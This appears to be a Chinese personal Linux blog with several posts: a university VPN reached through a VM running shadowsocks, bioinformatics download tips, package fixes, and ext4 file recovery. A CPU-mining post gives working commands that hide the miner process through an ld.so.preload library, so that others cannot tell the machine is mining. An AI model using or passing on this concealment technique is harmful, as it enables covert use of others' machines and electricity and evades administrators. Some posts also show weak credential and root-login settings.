孙瑜 - Linux

如何克服开启中大代理后访问外网资源失败的问题

2018-12-22T00:00:00+00:00

中大的睿智代理，一直有这个用了代理就没办法访问任何校外互联网资源的奇奇怪怪的毛病。对于一个经常需要在家工作的计算狗而言，这实在太不友好了。这里详细记录一下使用超低系统资源（<50MB RAM， CPU占用≈0%）解决这个问题。

致谢</h2>

感谢德华君提供这个野路子以及过程中的指导</li>
感谢Nick湿胸借用上网账号</li> </ul>
大致思路</h2>
不清楚是NAT啊，还是DNS服务更改的问题，总之这个代理只要使用了，再想使用互联网的资源就崩了，因此克服这个问题的唯一办法就是，在访问外网的时候关掉代理。但是Windows下通过IE浏览器登录代理，使用的是EasyConnect客户端，断了似乎就是断了，网页再认证还需要输入验证码。
所以需要曲线救国，即访问外网资源的时候不走代理直接连接。咦？这和我们科学上网的需求好相似！你总不想打开国内页面的时候也绕路走你的国外VPS吧！那么为什么不用shadowsocks解决这个问题呢？
因此最后解决问题的路线就是：

虚拟机内开启学校代理并开启服务</li>
虚拟机上架设shadowsocks server端并开启服务</li>
本机使用shadowsocks client</li>
本地使用校内代理的两种情况：

对于网页（比如RStudio server）使用Chrome浏览器的SwitchyOmega插件</li>
SSH和SFTP连接直接使用配置了代理的Xshell和Xftp</li> </ul> </li> </ol>
安装虚拟机</h2>
先下载一个虚拟机程序，建议用VM Virtualbox，虽然据说VMware的硬件兼容好点，但是我的目的简单，只是在后台run一个Linux用来使用代理而已，因此这个轻量级的软件比较适合。操作系统使用Ubuntu Server 18.04：

我们不需要图形界面</li>
Ubuntu的LTS是最稳定的Server操作系统之一</li> </ul>
虚拟机的配置上，RAM可以随便给个100M+（不会真的用完的，host消耗很小），硬盘就用那个vdi文件动态分配就好，那么大小也就无所谓了（理论上动态分配会稍微影响点IO性能，但是和我们的主题无关）。
命令行安装操作系统可能有点蛋疼，但是基本上也是一路选下一步就可以的。
虚拟机Linux配置</h2>
这个时候，还是先装好Xshell吧，不要头铁：没有SSH，你就这样在终端里面，你连一个普通命令的--help</code>返回内容都浏览不全；想复制个URL却发现没得复制粘贴，浑身难受。Ubuntu Server默认是开了22端口的，也开启了sshd服务，所以ifconfig</code>查到IP直接就可以连了。虚拟机的网络设置可以有以下两种策略：
桥接模式：和host在一个网段</li> NAT模式：需要端口映射，在本例中，你至少需要映射22端口用作ssh，再映射一个shadowsocks用的端口。</li> </ol> 搞定了之后，就陆陆续续安装一下必要工具： sudo apt-get update sudo apt-get dist-upgrade sudo apt install openconnect sudo apt-get install python-pip sudo pip install shadowsocks</code></pre> 使用openconnect需要一个厉害的配置文件vpnc-script，可以用wget</code>从这里</a>下载。你应该到现在为止没有切换过当前tty的工作目录，那漂亮啊，就下载到这吧，用起来也方便… 然后开启openconnect服务： sudo openconnect -b --no-dtls --script ~/vpnc-script https://ocvpn.sysu.edu.cn --servercert sha256:a0cc6612c7310494b31ad62e76255373f056ac128c8489ac58562f6fe57ae8e9</code></pre> --servercert</code>参数值是双鸭山大学提供的证书。你可以不加上这个参数，但是它会逼着你加上。 输入用户名和密码，程序会返回一个PID之后在后台运行。 接下来开启shadowsocks服务： sudo ssserver -p 2333 -k 930829 -m rc4-md5 -d start</code></pre> 我比较懒，就直接这样开启SS服务而不是写配置文件了：-p</code>是端口；-k</code>是密码我用了自己生日，你们可以随意；-m</code>是加密方法，我X我和我虚拟机连接我丝毫不虚，选个复杂度低的速度快点负荷小点；-d</code>如果替换成stop就是停止服务。 在Ubuntu Server 18.04上，你可能会遇到这样一个错误： # 此处省略99999行 AttributeError: /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1: undefined symbol: EVP_CIPHER_CTX_cleanup</code></pre> 这是由于在openssl 1.1.0中废弃了 EVP_CIPHER_CTX_cleanup()</code> 函数而引入了 EVE_CIPHER_CTX_reset()</code> 函数所导致的。 解决方式也是简单，直接找到使用的openssl.py文件（我省略的那部分异常信息里就有它的位置），把里面的所有cleanup字样全部替换为reset，就舒服了。直接vim</code>里面批量替换，别问我怎么操作，问就是不告诉你。 我要怎么使用虚拟机里面的代理呢</h2> 首先，你需要shadowsocks client</a>来把代理服务器的shadowsocks协议转发为socks5协议。你可能需要在两个不同的目录运行两个独立的shadowsocks进程（端口各自不同），以方便同时使用科学上网和虚拟机中架设的中大代理。 访问网页</h3> 比如RStudio server，比如hugo的预览，都是要访问内网网页的。使用Chrome浏览器的SwitchyOmega插件，可以妥善解决这个问题。记得在auto switch里面，将使用中大代理的情景模式的触发条件用带有通配符的IP设置为同一网段。 使用SSH连接</h3> 在Xshell的连接属性里面设置好使用代理（注意端口）。 至此，科学上网/直连/中大代理可以和睦相处了。 补充</h2> 我需要一个service</h3> 理想状态下，应该是虚拟机开机自动运行这个openconnect命令的，然后如果崩溃可以自动恢复，所以要把它做成一个service的形式比较好。Ubuntu的这些service一般在/lib/systemd/system/</code>，所以在这里面操作吧： cd /lib/systemd/system/ sudo touch sysu-proxy.service</code></pre> 然后填内容进去： [Unit] Description=sysu-proxy After=network.target StartLimitIntervalSec=0 StartLimitAction=reboot [Service] Type=simple Restart=always RestartSec=1 User=ysun ExecStart=/bin/echo 'passwd' | /usr/sbin/openconnect --no-dtls --script ~/vpnc-script https://ocvpn.sysu.edu.cn --servercert sha256:a0cc6612c7310494b31ad62e76255373f056ac128c8489ac58562f6fe57ae8e9 -u username [Install] WantedBy=multi-user.target</code></pre> 这里面要解释一下的： Restart=always</code>可以保证进程挂了就自动重新运行</li> RestartSec=1</code>一旦挂了，它就会不断尝试重新运行，那么为了防止某些特定情况下一直重新运行增加服务器负载，还是间隔设置久一点好点（间隔为1秒）</li> ExecStart=...</code>对于需要交互式输入密码的，可以用这个技巧，通过管道将特定字符传过去</li> StartLimitIntervalSec=0</code>是防止放弃重新运行的。理论上是这样：还有一个参数值，比如StartLimitBurst=5</code>，同时再有StartLimitIntervalSec=10</code>的话呢，那么就如果在10秒内失败了5次，就放弃运行了（何弃疗！）防止这个情况发生就可以这样设置为0</li> 其实[Unit]</code>还可以加上StartLimitAction=reboot</code>如果上面设置不是0，崩了，还是可以通过这个方式重启操作系统</li> </ul> 好了，接下来就很舒服了： sudo systemctl enable sysu-proxy.service sudo systemctl daemon-reload sudo systemctl restart sysu-proxy.service</code></pre>

如何高效批量下载一整个BioProject/Study的数据？ 2018-12-21T00:00:00+00:00 以DRA005150这个accession为例： 先按ENA下载说明</a>打开ENA Browser，search这个字段（右上角），在出现的结果右侧选Study，点进去，下方Download字样这行最右侧有一个TEXT，将此文件下载后上传到服务器某目录下，然后执行： # 这里下载到的文件名为PRJDB5190.txt # aria2是多线程下载工具，会自动使用适量CPU核心占满带宽或IO # cut为了从数据metadata切割出URL # tr将其分割为按行的记录 # sed为每行URL添加上FTP协议（否则aria2不识别） # tail去掉header # aria2c接受一个文件作为批量下载列表，这里使用标准输入 cut -f10 PRJDB5190.txt | tr ';' '\n' | sed -e 's#^#ftp://#' | tail -n +2 | aria2c -i -</code></pre> Circos安装很痛苦？教你两句命令解决所有依赖 2018-09-01T00:00:00+00:00 之前听很多人吐槽说安装Circos费劲，各种Perl库装不上，装上了又找不到，今天让我来为大家介绍正确的体位： 下载/解压Circos，并将其主程序添加到$PATH</code>之后，是可以使用circos -modules</code>来自动检查其perl依赖是否满足的，其输出大概为这样： ok 1.50 Carp ok 0.39 Clone missing Config::General ok 3.74 Cwd ok 2.170 Data::Dumper ... (此处省略65536字hhhhh)</code></pre> 好的！不要慌！先su</code>一下切到管理员账户下，然后echo 'yes' | cpan App::cpanminus</code>把cpanm装上。什么？你不是管理员？那你喊狗管理帮你装Circos不就好了… 然后exit</code>回到自己的用户下，circos -modules | perl -anE'print qq{$F[1] } if /^miss/ }{ say' | cpanm</code>，然后去泡个茶。 回来你会吃了一精，所有缺少的模块都装好了。再运行circos -modules</code>看看…嗯？还是都是miss？没关系，是@INC缓存没更新的缘故。去一个新的tty试一下，一切正常。 好，这样成功解决了Circos的棘手的安装问题。祝各位生活性福美满。 Teamviewer命令行 2018-08-12T00:00:00+00:00 新安装了服务器的操作系统，然后不想爬上爬下接个显示器（实验室的服务器放在月亮之上），要怎么样才能完全从命令行配置好teamviewer？ 先安装：aurman -S teamviewer</code>。 然后，参照之前的日记</a>中记载的做法，将teamviewer的daemon设置好。 为了显示teamviewer的ID，先得有个密码。否则出于安全考虑，是不会显示ID的： sudo teamviewer --passwd yourpasswd</code></pre> 这样再sudo teamviewer --info</code>就能看到ID了。 拿到了ID和密码，就能直接连接啦~ 好了，接下来，我又吃精地发现一个问题，连接持续了几秒钟而已，挂了；再连接，连不上…我滚去一台局域网内的电脑在终端内尝试teamviewer</code>，发现： Init... CheckCPU: SSE2 support: yes Checking setup... Launching TeamViewer ... Launching TeamViewer GUI ... Aborted (core dumped)</code></pre> 折腾了很久，终于找到了一个解决办法： sudo nano /opt/teamviewer/config/global.conf</code>加上以下两行配置： [int32] EulaAccepted = 1 [int32] EulaAcceptedRevision = 6</code></pre> 再重启daemon服务，可以了！ aurman在操作系统更新之后不能用了？ 2018-08-08T00:00:00+00:00 2018年8月7日，星期二，天气晴（广州有哪天是不下一阵雨的？） 早上睡醒一如既往地挂代理，开终端，aurman -Syu</code>，然后忽然想装一个pbzip2，我就吃精地发现，aurman不能用了？WTF！ 异常信息大概长这样： Traceback (most recent call last): File "/usr/bin/aurman", line 6, in <module> from pkg_resources import load_entry_point File "/usr/lib/python3.6/site-packages/pkg_resources/__init__.py", line 3095, in <module> @_call_aside File "/usr/lib/python3.6/site-packages/pkg_resources/__init__.py", line 3079, in _call_aside f(*args, **kwargs) File "/usr/lib/python3.6/site-packages/pkg_resources/__init__.py", line 3108, in _initialize_master_working_set working_set = WorkingSet._build_master() File "/usr/lib/python3.6/site-packages/pkg_resources/__init__.py", line 570, in _build_master ws.require(__requires__) File "/usr/lib/python3.6/site-packages/pkg_resources/__init__.py", line 888, in require needed = self.resolve(parse_requirements(requirements)) File "/usr/lib/python3.6/site-packages/pkg_resources/__init__.py", line 774, in resolve raise DistributionNotFound(req, requirers) pkg_resources.DistributionNotFound: The 'aurman==2.17.1' distribution was not found and is required by the application</code></pre> 好了，看到这个我就明白了，一定是Python做了大版本更新，aurman作为一个纯python的包管理器，躺枪！ （喜欢滚动更新？啪！） 赶紧去社区兜了一圈，发现aurman的作者已经火速更新了源码（其实还不是就改个数字嘛摔），然后更新了AUR上的snapshot，我们只要重装一下aurman就什么问题都没有了。 所以去AUR下载了snapshot文件，解压缩拿到PKGBUILD，正当我makepkg -sci</code>的时候，又凉凉了！ ==> Verifying source file signatures with gpg... aurman_sources git repo ... FAILED (unknown public key 465022E743D71E39) ==> ERROR: One or more PGP signatures could not be verified!</code></pre> 好嘛好嘛。签名问题。既然我确定我的PKGBUILD是正规途径下载搞到的，那无所谓咯，我gpg --recv-key 465022E743D71E39</code>添进来就是: gpg: keyserver receive failed: Server indicated a failure</code></pre> 作为一个国内玩家，我已经看了不下1000000000000000000000次这种异常信息了（误） 然后再makepkg -sci</code>，完成package build之后，会自动调用pacman -U去替换当前版本。然后aurman就可以正常使用了。 再回去看看，aurman的作者已经不胜其扰了</a>，我真同情你…为什么你不多找点我这样的用户… 因为硬盘Block不够，导致操作系统不能更新是要有多蛋疼？ 2018-07-18T00:00:00+00:00 喏，众所周知，ArchLinux那是要每天睡醒了就aur -Syu</code>一轮压压惊的，然后齐胖胖的服务器已经两周多（至少）没更新过，我感觉药丸，赶紧更新去，然后我就傻眼了： error: Partition / too full: 225715 blocks needed, 130394 blocks free error: failed to commit transaction (not enough free disk space) Errors occurred, no packages were upgraded.</code></pre> 啊？ 关于什么是blocks，就不多解释了，鸟哥里面写的很清楚。基本上发生这样的问题，可能有两种原因： 硬盘格式化的时候，block设置得过大了。一般来说是4KB，使用者在对硬盘格式化的时候应该根据服务器的用途设计好block的大小。比如如果是邮件服务器等文件普遍比较小的，那么用较大的block势必导致硬盘空间的浪费；</li> 出现了一堆特别特别小的文件。也许是日志文件或者其他？这就不得而知了。</li> </ol> 我们的服务器是一般用途，所以格式化用的也是默认参数（当然是做了4K对齐的），因此应该不会出现第一条问题。所以切到root之后，看了一下究竟是哪里比较大： cd / du -hsx * | sort -rh | head -10</code></pre> 输出是这样的： du: cannot access 'proc/39956/task/39956/fd/4': No such file or directory du: cannot access 'proc/39956/task/39956/fdinfo/4': No such file or directory du: cannot access 'proc/39956/fd/4': No such file or directory du: cannot access 'proc/39956/fdinfo/4': No such file or directory 2.8T backup 2.6T data 2.5T data2 15G home 7.5G var 7.1G usr 3.4G opt 52M boot 14M etc 13M tmp</code></pre> 那些什么cannot access的就不管了，是内存中的进程缓存并非完全实时的缘故。至于下面的内容，就很奇怪了。前三个是挂载在其他硬盘上的，/home</code>的大小也还算正常（此前我单独检查过用户目录），那么最可疑的就是/var</code>和/usr</code>两个了。 就这样一层一层检查下去，发现/var/cache</code>里的缓存也挺多的（感谢齐胖胖提醒），然后就用pacman -Sc</code>做个清理了。 然后就可以了。 如何不方不盲地恢复Linux下误删的文件 2018-07-02T00:00:00+00:00 杯具的缘由</h2> 太久没回来广州，没用实验室的服务器写东西、算东西。刚刚清用户目录的时候，误删了一个目录，全是过年期间跑数据的中间结果，WTF，有点high。众所周知，如果没做alias的话，Linux是没有“回收站”这个说法的。也就是说，比如我这样rm -rf workflow</code>把这个叫做workflow的目录删了，那么删了就是删了，那就是彻底删除了。虽然说按照专业素养，我是肯定有命令啊、参数啊和环境等等的记录的。然鹅算力和时间才是最贵的，平白无故让我再来一轮，我肯定不开心啊！然后我就想到，老衲其实是可以把它恢复的！ 我为什么能恢复“彻底删除”的文件</h2> 这样，就要提到Linux的文件删除原理了。在Windows下面，删个大文件那是要很久的。但是在Linux下面，由于所谓的删除只是将存储文件的inode和blocks标记为未使用，所以删除是一件甚至根本察觉不到时间流逝的行为！也就是说，数据其实并未被彻底从硬盘抹去（什么？你说你删除是用dd</code>命令去删的？呵呵呵呵…），只是这块硬盘空间已经被标记为空闲了，其他进程分分钟可以覆盖上面的数据，也就是删除了。 抢救过程</h2> 其实这里有必要提一句，Linux是不会删除进程尚在使用的文件的。所以如果有进程还在使用误删的文件，用lsof</code>配合grep</code>可以很容易将其恢复，具体细节不属于本文记录范围，不详细说了。 </blockquote> 为了防止这块盘再有什么厉害的读/写，覆盖了这些“已删除”的文件占用的磁盘空间，是要马上解挂载的。 </blockquote> 挂载之前，我做了一件好事，用ls -di /home/ysun</code>查看了我目录的inode（说出来你们可能不信，我是编剧，这是一个伟大的伏笔）。服务器上/home</code>是挂载到另外一块硬盘（整一个分区）/dev/sdb1</code>上的。想要umount /home</code>，发现不行，设备忙。这个时候可以用fuser -km /home</code>强制kill掉占用了/home</code>的进程。这个时候就可以解挂载了，然后我用putty开的终端就消失了（因为ssh连接也被kill了）。 为了方便接下来的操作，是想用root登录的。然鹅，发现root居然不可以用ssh登录，顿觉有点不适。又重新用普通用户修改了/etc/ssh/sshd_config</code>的内容，将PermitRootLogin without-password</code>中的without-password</code>改为yes</code>，再用sudo systemctl restart sshd.service</code>重启一下ssh服务，可以了。 上网搜了一圈，一些比较多人用的工具，比如ext3grep，已经不适用与ext4文件系统了。先尝试了extundelete，但是两年多没维护的工具了，各种和现有的软件包冲突，各种Segment Fault，各种Core Dumped（卧槽居然押韵）。冲突就算了，我想把冲突的包降级都不成，那么旧的版本人家都不保留了。去GitHub找了其他人fork过去修改的版本，发现还是跟不上底层库更新的脚步，不好使。 然后就转向了ext4magic。先安装：aurman -S ext4magic</code>。 安装好了之后，先ext4magic /dev/sdb1 -I 50331649</code>（这串数字就是上文的伏笔了嗯），看看我中午睿智地做了什么: 卧槽，辣眼睛啊！就这么给删了…删了…了… 这个时候，我以迅雷不及掩耳到铃儿响叮当之势掏出了一个小本本，记下了这个被误删的目录的inode值，57606262。然后ext4magic /dev/sdb1 -r -I 57606262 -d /root</code>尝试恢复： 舒服了啊！赶紧挂载上硬盘mv</code>走… 理论上讲，是可以用参数指定时间戳（关于什么是时间戳，那要追溯到1970年了，请百度）来指定时间范围查看文件增删记录的。但是不知道为什么在extundelete里好用，在ext4magic里就瓦特了。比如想获取今天（如果你是好久之后才看到你可能不知道哪天是今天hhhhh）下午2点50的时间戳，那么就date -d "2018-07-02 14:50:00" +"%s"</code>，然后终端内得到的一串数字就是了。 </blockquote> 总结</h2> Linux没有回收站，可以的话，还是做个alias。我以前也认为“TMD这么蠢的事情我会做吗，不存在的”，然后今天不记得了目录的内容，脑子一热就GG了；</li> 发生意外时，不要慌，虽然自己手贱踩了雷，对操作系统的理解又深刻了一层，长远看来，还是值得的；</li> 还是Linux好啊，辣鸡Windows，动辄要收费**；</li> Linux果然是好；</li> Linux真是好啊！</li> </ol> 如何优雅地在Linux操作系统下用CPU挖矿 2018-05-31T00:00:00+00:00 这是一篇“散文”，记录一下最近用CPU挖矿的曲折的折腾过程。 首先先来BB一下动机：手里是有一台PC的，没错，你没看错，一台普通台式机，其实无法通过这件事为我带来任何收益，但是出于对区块链的浓厚兴趣，我出手了。 我瞄准的币种是Karbo</a>（卡博币），那么为什么选这个呢，因为很多币（比如比特币）用CPU已然挖不动了。随着全网算力的提升，一些热门币种陆陆续续被大量计算出来，现如今计算的难度越来越大，对应的挖矿设备已经经历了CPU -> GPU -> 专用矿机这个历程。我不是专门的挖矿大户，顶多算是兴趣爱好者，当然能从中获利我也很开心。这个币现在很贱，之前更贱。坦白讲，最近几个月的一些涨幅才让我对其升值有了一定的信心。虚拟货币现在很多，这里面存在一个矛盾：如果玩的人少，市场不活跃，币就没有价值；如果玩的人太多，矿工会大量涌入，之后就重复了比特币的历程，又是一般玩家玩不起的了（不信可以去试试，个体户买一台矿机，挖几年能挖出一枚比特币哦）。我认为Karbo刚刚处在这样一个合适的阶段，所以选择了它。 挖矿，首先要有一个钱包。钱包很容易弄，懒得写了。 然后就是一个很有趣的问题，挖矿，其实本质上就是算hash值。那么这个计算的程序，也就是挖矿程序用什么好呢？我搜索了一圈，似乎xmr-stak</a>还是比较科学的，支持CPU/A卡/N卡，支持Windows/Linux/macOS，支持的币种多，口碑也不错，算是挖矿程序里的佼佼者了。 很遗憾，截至我书写这篇日记的时候，软件的docker镜像并不可用，否则应该是很方便的。编译安装比较中规中矩，作者在文档里给出了常见的Linux distribution的对应命令，也不想多说了。重点谈一个坑： 国际惯例，挖矿工具的作者，是会从计算过程中“抽水”的。一般来讲，默认会抽2%，xmr-stak也是采用了这个值。这个2%，其实就是每计算100分钟，其中有两分钟是为作者的钱包计算/提交hash值，可以理解为是一种持续捐献、鼓励和支持作者继续开发的团结友爱的行为。作者在此处体现出了充分的人道主义精神，指出了源码中控制捐献比例的变量的位置，允许用户在编译程序之前自行修改： xmrstak/donate-level.hpp</a>: constexpr double fDevDonationLevel = 2.0 / 100.0;</code></pre> 一个中规中矩的double类型常量，看起来没什么不妥。可是这个时候我的好奇心膨胀了，我很关心作者是如何实现这个捐献的逻辑的。另外也有一个疑问：对于完全不捐献的人，会怎样处理，真的颗粒无收吗？假如人人都在编译之前手动修改了源码中这个常量的值为0.0，那么程序岂不是白写了… 于是我搜索了整个代码仓库内含有fDevDonationLevel</code>常量的代码，发现了一些端倪。先看这一部分： xmrstak/misc/executor.hpp</a>: // Dev donation time period in seconds. 100 minutes by default. // We will divide up this period according to the config setting constexpr static size_t iDevDonatePeriod = 100 * 60; inline bool is_dev_time() { //Add 2 seconds to compensate for connect constexpr size_t dev_portion = static_cast<size_t>(double(iDevDonatePeriod) * fDevDonationLevel + 2.); if(dev_portion < 12) //No point in bothering with less than 10s return false; return (get_timestamp() - dev_timestamp) % iDevDonatePeriod >= (iDevDonatePeriod - dev_portion); };</code></pre> is_dev_time()</code>是一个返回值为bool类型的函数。作者将每100分钟看作一份，然后从中抽出以百分比计数的若干分钟来作为捐献。这里计算了一个dev_portion</code>变量：iDevDonatePeriod</code>常量将这一百分钟换算为秒，之后将其与fDevDonationLevel</code>（用户决定的捐献比例）相乘，再加2（姑且可以认为这是为了方便计算，小数点是为了方便double类型相加）。然后我留意到下面有一个if</code>分支，对于这个值小于12（每100分钟，也就是6000秒内，捐献给作者的计算时间低于10，因为之前加了2），函数将直接返回一个false</code>。那么这个false</code>的返回值又有什么用呢？我继续搜索了调用函数is_dev_time()</code>的代码，发现了这样一处</a>，看完作者复杂的矿池切换逻辑，瞬间觉得后背一凉，想了下还是保留一点“良知”，适当调低了捐献比例（我是觉得2%有点高），编译，通过。 运行的时候，开始遇到了错误： MEMORY ALLOC FAILED: mmap failed</code></pre> 这个好说，只要sudo sysctl -w vm.nr_hugepages=128</code>就解决了。 万事俱备，只欠开挖。开挖之前，是想把进程做点手脚的。理由很简单，被人发现在挖矿就不好了，就变成了挖社会主义墙脚，薅社会主义羊毛。想隐藏进程，首先就要深刻理解常见进程查看工具，比如top</code>、ps</code>和lsof</code>这些的原理。这里要用到一个超强的系统挖掘工具，叫做sysdig</code>，它不仅仅在监控细节上更“深入”，甚至还能对容器（比如docker）等进行监控。使用sysdig</code>监控ps</code>时可以看到ps</code>的大概工作原理： 用一些底层的函数，比如openat()</code>和getdents()</code>去解析/proc</code>目录的内容。比如在终端内运行ls /proc</code>，可以看到如下输出： 这些数字就是对应每个进程的PID。每个进程在创建伊始，都会在/proc</code>下生成这样的一个目录，里面保存了很多信息。如果你是一只生信狗，看这篇日记的时候就应该想到，当你提交了一条任务，跑了很久都没跑完，以至于你都不记得当初把它提交时用的命令行参数了，怎么办？别担心，只要cat /proc/PID/cmdline</code>就可以看到万恶♂之源（误）： 看来这里52329这个进程，就是一个sftp服务。除此之外，还可以查看进程状态、一些统计信息等等。 然鹅，虽然知道了ps</code>这些程序是这样的工作原理，但是其实openat()</code>和getdents()</code>也不是根源，它们也要调用更为底层的C标准库（libc</code>），里面提供了两个函数：opendir()</code>和readdir()</code>。到目前为止，把进程藏起来大概可以有这样几个思路： 对类似SELinux这样的子系统做手脚。但是并不推荐，首先不好改，其次，服务器管理员可能一早就睿智地把它关了。</li> 把top</code>、ps</code>和lsof</code>这些程序的二进制可执行文件改了。这个切实可行，但是你就要去改源码。有几个类似的工具，就改几次，它更新，你再去改…再编译。有点蠢。</li> 改掉libc</code>。既然大家都在用libc</code>的readdir()</code>，不如就一次性把这里改掉，让它查看不到某些进程在/proc</code>里面的内容就好了。</li> 直接修改内核对诸如getdents()</code>函数的调用方式。</li> </ol> 这里利用一下Linux的预加载动态链接库的特性。捣鼓一个假的readdir()</code>函数出来，加入操作系统的预加载列表内。之后再调用系统的readdir()</code>函数的时候，由于函数签名相同，早就已经被覆盖掉，是一个假的readdir()</code>了。逻辑也很简单，发现进程名称和设定的一致，就跳过</a>。这里借用一下人家的轮子： # 先克隆下来 git clone git@github.com:gianlucaborello/libprocesshider.git cd libprocesshider # 编译 make # 把编译好的动态链接库放好 sudo mv libprocesshider.so /usr/local/lib/ # 加入预加载列表 # 这一行要用root账户添加 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload</code></pre> 自此，随便挖，别人根本不知道电费流向了哪里。 本来昨天写到这是结束了的，然鹅我意识到一个蛋疼的问题。老子自己都查不到这个进程的PID，kill不掉啊！只能用睿智的sysdig去解决了！于是aurman -S sysdig</code>尝试安装，发现： (1/2) Install DKMS modules ==> Unable to install module sysdig/0.21.0 for kernel 4.14.48-2-MANJARO: Missing kernel headers.</code></pre> 这个其实不影响…但是也确实可以aurman -S linux414-headers</code>修复一下。然后使用sysdig查看CPU占用最多的进程： sudo sysdig -c topprocs_cpu</code></pre>CPU% Process PID -------------------------------------------------------------------------------- 100.03% <NA> 10212 100.03% <NA> 10197 100.03% <NA> 10203 100.03% <NA> 10204 100.03% <NA> 10185 100.03% <NA> 10189 100.03% <NA> 10214 100.03% <NA> 10196 100.03% <NA> 10216 100.03% <NA> 10206</code></pre> 这里是比较迂回了…因为PID确实被隐藏了…但是也不用担心，kill掉一个就全死了…大刀一挥死一片鬼子啊… 舒服了舒服了… 如何优雅地在Linux操作系统下翻墙（客户端篇） 2018-05-29T00:00:00+00:00 本文主要介绍如何在Arch Linux下部署client端的SS，考虑到主要也是国人才有这种需求，就直接丢中文版blog了。 废话少说，shadowsocks-libev</code>是C语言编写的轻量版的SS。先安装： sudo pacman -S shadowsocks-libev</code></pre> 写好配置文件（具体写法就见英文版教程</a>吧，几乎一致的）： sudo mkdir /etc/shadowsocks # 我理你用nano还是vim还是个什么鬼，就编辑一下文本文件嘛 # 做人呢，最紧要是开心 sudo vim /etc/shadowsocks/config.json</code></pre> 使用systemctl</code>管理ss的daemon进程（这个在介绍Manjaro Linux的使用</a>的时候提过）： # 配置文件的前缀名为config，因此此处为@config sudo systemctl enable shadowsocks-libev@config sudo systemctl daemon-reload sudo systemctl start shadowsocks-libev@config</code></pre> 最后，使用proxychains-ng</code>做socks5转发。 插嘴一句，本身就是齐胖胖他们医院的网络爆炸，所以只好搞这样一出来安装RStudio Server。没想到回到博士课题组修电脑还是用到了hhhhh </blockquote> 先用命令sudo pacman -S proxychains-ng</code>安装，然后同样也要写配置，就很简单了，直接sudo vim /etc/proxychains.conf</code>编辑，把原来[ProxyList]</code>下面的内容去掉，加上socks5 127.0.0.1 1080</code>。 proxychains-ng的输出非常烦躁…如果觉得眼睛花，在刚刚的配置文件里面有一行quietmode</code>，把前面的注释取消掉就好了。 </blockquote> 接下来就是使用了。只要在需要使用代理的命令前面加上proxychains4</code>就可以，比如proxychains4 aurman -S rstudio-server-bin</code>这样。